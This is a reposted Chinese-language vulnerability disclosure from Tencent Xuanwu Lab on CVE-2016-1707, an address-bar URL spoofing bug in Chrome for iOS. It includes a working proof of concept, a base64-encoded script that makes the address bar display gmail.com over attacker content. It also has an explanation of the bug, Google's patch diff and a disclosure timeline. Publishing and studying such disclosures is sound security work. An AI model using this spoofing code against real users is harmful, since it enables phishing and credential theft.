101

Chrome浏览器地址栏欺骗漏洞(CVE-2016-1707) – 腾讯玄武实验室

 6 years ago
source link: http://xlab.tencent.com/cn/2016/10/11/cve-2016-1707-chrome-address-bar-url-spoofing-on-ios/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

Chrome浏览器地址栏欺骗漏洞(CVE-2016-1707),这个漏洞笔者于2016年6月报告给Google,现在把漏洞细节分享给大家。URL Spoofing漏洞可以伪造一个合法的网站地址。攻击者可以利用这个漏洞对用户发起网络钓鱼攻击。

受影响版本:Chrome < v52.0.2743.82,IOS < v10

0x01 漏洞详情

1.png

POC:

<script>

payload="PGJvZHk+PC9ib2R5Pg0KPHNjcmlwdD4NCiAgICB2YXIgbGluayA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2EnKTsNCiAgICBsaW5rLmhyZWYgPSAnaHR0cHM6Ly9nbWFpbC5jb206Oic7DQogICAgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChsaW5rKTsNCiAgICBsaW5rLmNsaWNrKCk7DQo8L3NjcmlwdD4=";

function pwned() {
var t = window.open('https://www.gmail.com/', 'aaaa');
t.document.write(atob(payload));
t.document.write("<h1>Address bar says https://www.gmail.com/ - this is NOT https://www.gmail.com/</h1>");
}

</script>

<a href="https://hack.com::/" target="aaaa" onclick="setTimeout('pwned()','500')">click me</a><br>

那么这个漏洞是如何发生的呢?笔者现在来解读一下整个代码的加载过程。首先点击click me这个链接,浏览器去打开一个name为aaaa的新窗口,这个页面去加载“https://hack.com::”,这个地址可以随便写。500微秒后运行pwned(),在aaaa窗口打开https://www.gmail.com,当然这个URL可以为空。到现在为止,一切代码运行都很正常,接下来这段代码就是触发漏洞的核心代码。

base64加密的这段代码:

base64 payload code:

<body></body>

<script>
var link = document.createElement('a');
link.href = 'https://gmail.com::';
document.body.appendChild(link);
link.click();
</script>

接下来这段代开始在aaaa窗口页面去提交(commit)https://gmail.com::,这是一个很奇妙的事情,https://gmail.com::本是一个无效的地址,如何去被提交呢。在尝试了多种方法后,笔者发现使用a标签点击的方式可以做到(window.open/location则不可以),并且使这个无效地址处在了一个等待状态(pending status)。此时,实际Chrome是加载了about:blank(已经到了about:blank域),但在处理最后URL地址栏中的显示时,Chrome却选择了处在等待状态的https://gmail.com:: 作为最后的提交地址,加载后的https://gmail.com::在URL地址栏中会以https://gmail.com这样的方式呈现,两个::会被隐藏。此时,整个加载过程完成。一个完美的URL Spoofing漏洞就这样产生了。

0x02如何修复

这个漏洞最关键的地方是,Chrome允许在Web页面加载的时候,提交一个无效的地址所导致。Google也是基于此给出了补丁文件,就是在加载Web页面的时候不允许提交无效地址,如果检测到是无效地址,则直接使当前URL为about:blank。

[self optOutScrollsToTopForSubviews];

// Ensure the URL is as expected (and already reported to the delegate).
- DCHECK(currentURL == _lastRegisteredRequestURL) //之前只是判断了当前URL和最后请求的URL是否相同
+ // If |_lastRegisteredRequestURL| is invalid then |currentURL| will be
+ // "about:blank".
+ DCHECK((currentURL == _lastRegisteredRequestURL) ||
+ (!_lastRegisteredRequestURL.is_valid() && //增加判断是否是一个无效的URL
+ _documentURL.spec() == [url::kAboutBlankURL)](url::kAboutBlankURL)))
<< std::endl
<< "currentURL = [" << currentURL << "]" << std::endl
<< "_lastRegisteredRequestURL = [" << _lastRegisteredRequestURL << "]";

// This is the point where the document's URL has actually changed, and
// pending navigation information should be applied to state information.
[self setDocumentURL:net::GURLWithNSURL([_webView URL])];
- DCHECK(_documentURL == _lastRegisteredRequestURL);
+
+ if (!_lastRegisteredRequestURL.is_valid() &&
+ _documentURL != _lastRegisteredRequestURL) {
+ // if |_lastRegisteredRequestURL| is an invalid URL, then |_documentURL|
+ // will be "about:blank".
+ [[self sessionController] updatePendingEntry:_documentURL];
+ }

+ DCHECK(_documentURL == _lastRegisteredRequestURL ||
+ (!_lastRegisteredRequestURL.is_valid() &&
+ _documentURL.spec() == url::kAboutBlankURL));
+
self.webStateImpl->OnNavigationCommitted(_documentURL);
[self commitPendingNavigationInfo];
if ([self currentBackForwardListItemHolder]->navigation_type() ==

0x03 披露时间

2016/6/22 报送给Google,https://bugs.chromium.org/

2016/6/22 Google确认漏洞,漏洞级别High

2016/7/14 Google确认奖励$3000

2016/7/20 Google发布安全公告,CVE-2016-1707

2016/10/2 Google公开漏洞

0x04 相关链接

[1] https://googlechromereleases.blogspot.com/2016/07/stable-channel-update.html

[2] https://bugs.chromium.org/p/chromium/issues/detail?id=622183

[3] https://chromium.googlesource.com/chromium/src/+/5967e8c0fe0b1e11cc09d6c88304ec504e909fd5


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK